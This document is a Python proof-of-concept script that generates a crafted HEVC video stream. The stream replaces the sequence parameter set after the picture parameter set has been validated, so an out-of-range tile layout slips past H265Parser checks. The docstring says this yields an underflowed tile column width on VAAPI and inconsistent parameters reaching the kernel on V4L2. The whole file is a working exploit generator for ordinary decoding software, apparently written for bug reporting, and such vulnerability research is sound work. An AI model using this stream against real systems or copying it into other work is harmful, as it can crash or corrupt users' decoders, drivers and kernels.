#!/usr/bin/env python3
"""
Generates a malicious HEVC Annex-B elementary stream that bypasses
H265Parser's SPS-dependent PPS validation by replacing the SPS after
the PPS has been validated.

NALU sequence:
  SPS0  : 304x336, Main, 8-bit 4:2:0, CTB=16  -> PicWidthInCtbsY=19, PicHeightInCtbsY=21
  PPS0  : tiles_enabled, num_tile_columns_minus1=18, num_tile_rows_minus1=20, uniform_spacing
  IDR   : I-slice referencing PPS0
  SPS0' : 304x336, Main, 8-bit 4:2:0, CTB=64  -> PicWidthInCtbsY=5,  PicHeightInCtbsY=6
  IDR   : I-slice referencing PPS0

The second IDR causes H265Decoder::StartNewFrame() to call
SubmitFrameMetadata(SPS0', PPS0) with num_tile_columns_minus1=18 but only 5 CTB
columns -- a combination that ParsePPS() was written to reject. On VAAPI this
yields column_width_minus1[i] = (uint16_t)-1 = 0xFFFF; on V4L2 the inconsistent
v4l2_ctrl_hevc_sps + v4l2_ctrl_hevc_pps reach the kernel.
"""

import struct, sys

class BitWriter:
    def __init__(self):
        self.bytes = bytearray()
        self.reg = 0
        self.nbits = 0
        self.in_nalu = False

    def _flush_full_bytes(self):
        while self.nbits >= 8:
            shift = self.nbits - 8
            b = (self.reg >> shift) & 0xFF
            self.reg &= (1 << shift) - 1
            self.nbits -= 8
            # emulation-prevention: inside RBSP only
            if (self.in_nalu and len(self.bytes) >= 2 and
                self.bytes[-1] == 0 and self.bytes[-2] == 0 and b <= 3):
                self.bytes.append(0x03)
            self.bytes.append(b)

    def bits(self, n, v):
        assert 0 <= v < (1 << n) if n < 64 else True
        self.reg = (self.reg << n) | (v & ((1 << n) - 1))
        self.nbits += n
        self._flush_full_bytes()

    def bool(self, v):
        self.bits(1, 1 if v else 0)

    def ue(self, v):
        v1 = v + 1
        nz = v1.bit_length() - 1
        self.bits(nz, 0)
        self.bits(nz + 1, v1)

    def se(self, v):
        self.ue(2*v - 1 if v > 0 else -2*v)

    def begin_nalu(self, nal_type, layer_id=0, tid_plus1=1):
        assert self.nbits == 0
        self.in_nalu = False
        for b in (0, 0, 0, 1):
            self.bytes.append(b)
        self.in_nalu = True
        self.bits(1, 0)              # forbidden_zero_bit
        self.bits(6, nal_type)
        self.bits(6, layer_id)
        self.bits(3, tid_plus1)

    def finish_nalu(self):
        self.bits(1, 1)              # rbsp_stop_one_bit
        if self.nbits % 8:
            self.bits(8 - (self.nbits % 8), 0)
        self._flush_full_bytes()
        assert self.nbits == 0
        self.in_nalu = False


SPS_NUT = 33
PPS_NUT = 34
IDR_W_RADL = 19


def write_profile_tier_level(w, profile_idc, level_idc):
    w.bits(2, 0)        # general_profile_space
    w.bits(1, 0)        # general_tier_flag
    w.bits(5, profile_idc)
    w.bits(32, 0)       # general_profile_compatibility_flags
    w.bool(False)       # progressive_source_flag
    w.bool(False)       # interlaced_source_flag
    w.bool(False)       # non_packed_constraint_flag
    w.bool(False)       # frame_only_constraint_flag
    w.bits(43, 0)       # reserved_zero_43bits
    w.bits(1, 0)        # inbld_flag
    w.bits(8, level_idc)
    # max_num_sub_layers_minus1 == 0, nothing more


def write_sps(w, *, log2_min_cb_minus3, log2_diff_cb):
    w.begin_nalu(SPS_NUT)
    w.bits(4, 0)        # sps_video_parameter_set_id
    w.bits(3, 0)        # sps_max_sub_layers_minus1
    w.bool(True)        # sps_temporal_id_nesting_flag
    write_profile_tier_level(w, profile_idc=1, level_idc=93)
    w.ue(0)             # sps_seq_parameter_set_id
    w.ue(1)             # chroma_format_idc (4:2:0)
    w.ue(304)           # pic_width_in_luma_samples
    w.ue(336)           # pic_height_in_luma_samples
    w.bool(False)       # conformance_window_flag
    w.ue(0)             # bit_depth_luma_minus8
    w.ue(0)             # bit_depth_chroma_minus8
    w.ue(4)             # log2_max_pic_order_cnt_lsb_minus4
    w.bool(False)       # sps_sub_layer_ordering_info_present_flag
    w.ue(1)             # sps_max_dec_pic_buffering_minus1[0]
    w.ue(0)             # sps_max_num_reorder_pics[0]
    w.ue(0)             # sps_max_latency_increase_plus1[0]
    w.ue(log2_min_cb_minus3)  # log2_min_luma_coding_block_size_minus3
    w.ue(log2_diff_cb)        # log2_diff_max_min_luma_coding_block_size
    w.ue(0)             # log2_min_luma_transform_block_size_minus2
    w.ue(0)             # log2_diff_max_min_luma_transform_block_size
    w.ue(0)             # max_transform_hierarchy_depth_inter
    w.ue(0)             # max_transform_hierarchy_depth_intra
    w.bool(False)       # scaling_list_enabled_flag
    w.bool(False)       # amp_enabled_flag
    w.bool(False)       # sample_adaptive_offset_enabled_flag
    w.bool(False)       # pcm_enabled_flag
    w.ue(0)             # num_short_term_ref_pic_sets
    w.bool(False)       # long_term_ref_pics_present_flag
    w.bool(False)       # sps_temporal_mvp_enabled_flag
    w.bool(False)       # strong_intra_smoothing_enabled_flag
    w.bool(False)       # vui_parameters_present_flag
    w.bool(False)       # sps_extension_present_flag
    w.finish_nalu()


def write_pps(w):
    w.begin_nalu(PPS_NUT)
    w.ue(0)             # pps_pic_parameter_set_id
    w.ue(0)             # pps_seq_parameter_set_id
    w.bool(False)       # dependent_slice_segments_enabled_flag
    w.bool(False)       # output_flag_present_flag
    w.bits(3, 0)        # num_extra_slice_header_bits
    w.bool(False)       # sign_data_hiding_enabled_flag
    w.bool(False)       # cabac_init_present_flag
    w.ue(0)             # num_ref_idx_l0_default_active_minus1
    w.ue(0)             # num_ref_idx_l1_default_active_minus1
    w.se(0)             # init_qp_minus26
    w.bool(False)       # constrained_intra_pred_flag
    w.bool(False)       # transform_skip_enabled_flag
    w.bool(False)       # cu_qp_delta_enabled_flag
    w.se(0)             # pps_cb_qp_offset
    w.se(0)             # pps_cr_qp_offset
    w.bool(False)       # pps_slice_chroma_qp_offsets_present_flag
    w.bool(False)       # weighted_pred_flag
    w.bool(False)       # weighted_bipred_flag
    w.bool(False)       # transquant_bypass_enabled_flag
    w.bool(True)        # tiles_enabled_flag
    w.bool(False)       # entropy_coding_sync_enabled_flag
    w.ue(18)            # num_tile_columns_minus1  (valid vs SPS0: <= 19-1)
    w.ue(20)            # num_tile_rows_minus1     (valid vs SPS0: <= 21-1)
    w.bool(True)        # uniform_spacing_flag
    w.bool(True)        # loop_filter_across_tiles_enabled_flag
    w.bool(False)       # pps_loop_filter_across_slices_enabled_flag
    w.bool(False)       # deblocking_filter_control_present_flag
    w.bool(False)       # pps_scaling_list_data_present_flag
    w.bool(False)       # lists_modification_present_flag
    w.ue(0)             # log2_parallel_merge_level_minus2
    w.bool(False)       # slice_segment_header_extension_present_flag
    w.bool(False)       # pps_extension_present_flag
    w.finish_nalu()


def write_idr_slice(w):
    w.begin_nalu(IDR_W_RADL)
    w.bool(True)        # first_slice_segment_in_pic_flag
    w.bool(False)       # no_output_of_prior_pics_flag
    w.ue(0)             # slice_pic_parameter_set_id
    w.ue(2)             # slice_type = I
    w.se(0)             # slice_qp_delta
    w.ue(0)             # num_entry_point_offsets (tiles_enabled)
    w.finish_nalu()
    # Pad with junk "slice data" so demuxers don't choke on a zero-length frame.
    for _ in range(64):
        w.bytes.append(0x80)


def main():
    w = BitWriter()
    write_sps(w, log2_min_cb_minus3=1, log2_diff_cb=0)   # SPS0: CTB=16
    write_pps(w)                                          # PPS0: 19x21 tiles
    write_idr_slice(w)                                    # IDR referencing PPS0
    write_sps(w, log2_min_cb_minus3=0, log2_diff_cb=3)   # SPS0': CTB=64
    write_idr_slice(w)                                    # IDR -> bug fires here
    out = bytes(w.bytes)
    fn = sys.argv[1] if len(sys.argv) > 1 else "poc.hevc"
    with open(fn, "wb") as f:
        f.write(out)
    print(f"wrote {len(out)} bytes to {fn}")
    print("hex:", out.hex())


if __name__ == "__main__":
    main()
